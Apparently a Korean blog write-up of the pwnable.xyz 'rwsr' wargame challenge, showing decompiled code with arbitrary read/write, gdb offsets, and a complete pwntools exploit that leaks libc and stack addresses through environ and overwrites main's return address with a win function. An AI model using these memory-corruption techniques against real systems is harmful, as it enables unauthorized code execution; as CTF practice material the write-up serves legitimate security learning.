본문으로 바로가기

pwnable.xyz / rwsr

category Wargame/pwnable.xyz 2020. 1. 20. 01:15

이 문제의 핵심 키워드는 스택 주소 leak 이다.

 

      while ( 1 )
      {
        print_menu();
        menu = read_ulong();
        
        if ( menu != 1 )
          break;
        
        printf("Addr: ");
        n = read_ulong();
        puts((const char *)n);
      }
      
      if ( menu != 2 )
        break;
      
      printf("Addr: ");
      n = read_ulong();
      printf("Value: ");
      *(_QWORD *)n = read_ulong();

 

main에서 임의의 주소에 읽고 쓰는 작업을 할 수 있다. Full RELRO가 걸려있어 GOT overwrite는 불가능하다.

win 함수가 있지만 .got 영역에는 쓸 수 없으니 스택에서 return address를 조작해야 한다.

 

스택 주소는 libc의 environ에서 가져올 수 있다. 디버깅에서 ret와 environ의 차이를 확인하고 페이로드를 짜면 된다.

 

gdb-peda$ p environ
$1 = (char **) 0x7fff3729ea58
gdb-peda$ reg rsp
RSP0x7fff3729e940 --> 0x4009e0 (<__libc_csu_init>:    push   r15)
gdb-peda$ reg rbp
RBP0x7fff3729e960 --> 0x4009e0 (<__libc_csu_init>:    push   r15)

 

rbp랑 environ이 0xF8 차이가 나므로 main의 ret과 environ은 0xF0 차이가 난다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
args = parser.parse_args()

if args.remote :
    p = connect('svc.pwnable.xyz'30019)
else :
    p = process('./challenge')


def log_info(string) :
    sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode())

def Read(addr:int) :
    p.writeafter(b'> 'b'1')
    p.writeafter(b': 'str(addr).encode())

    r = p.readline()[:-1]
    t = p.readline()[:-1]

    while not b'Menu' in t :
        r += b'\x0A'+t
        t = p.readline()[:-1]

    return u64(r.ljust(8b'\x00'))

def Write(addr:intval:int) :
    p.writeafter(b'> 'b'2')
    p.writeafter(b': 'str(addr).encode())
    p.writeafter(b': 'str(val).encode())

def exploit() :
    win = 0x400905
    puts_got = 0x600FA0

    puts_resolved = Read(puts_got)
    libc_base = puts_resolved - 0x6FD60
    environ = libc_base + 0x3BA098
    # libc_base = puts_resolved - 0x83CC0   # local
    # environ = libc_base + 0x1E7D60   # local

    log_info('puts = '+hex(puts_resolved))
    log_info('libc base address: '+hex(libc_base))
    log_info('environ = '+hex(environ))

    stack_environ = Read(environ)
    stack_main_ret = stack_environ - 0xF0

    log_info('envp = '+hex(stack_environ))
    log_info('main ret = '+hex(stack_main_ret))

    Write(stack_main_ret, win)
    p.writeafter(b'> 'b'0')

    p.interactive()


if __name__ == '__main__' :
    exploit()

 

 

 

Last update: 4/8/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / bookmark  (0) 2020.04.08
pwnable.xyz / attack  (0) 2020.04.08
pwnable.xyz / fclose  (0) 2020.01.18
pwnable.xyz / message  (0) 2020.01.17
pwnable.xyz / UAF  (0) 2020.01.17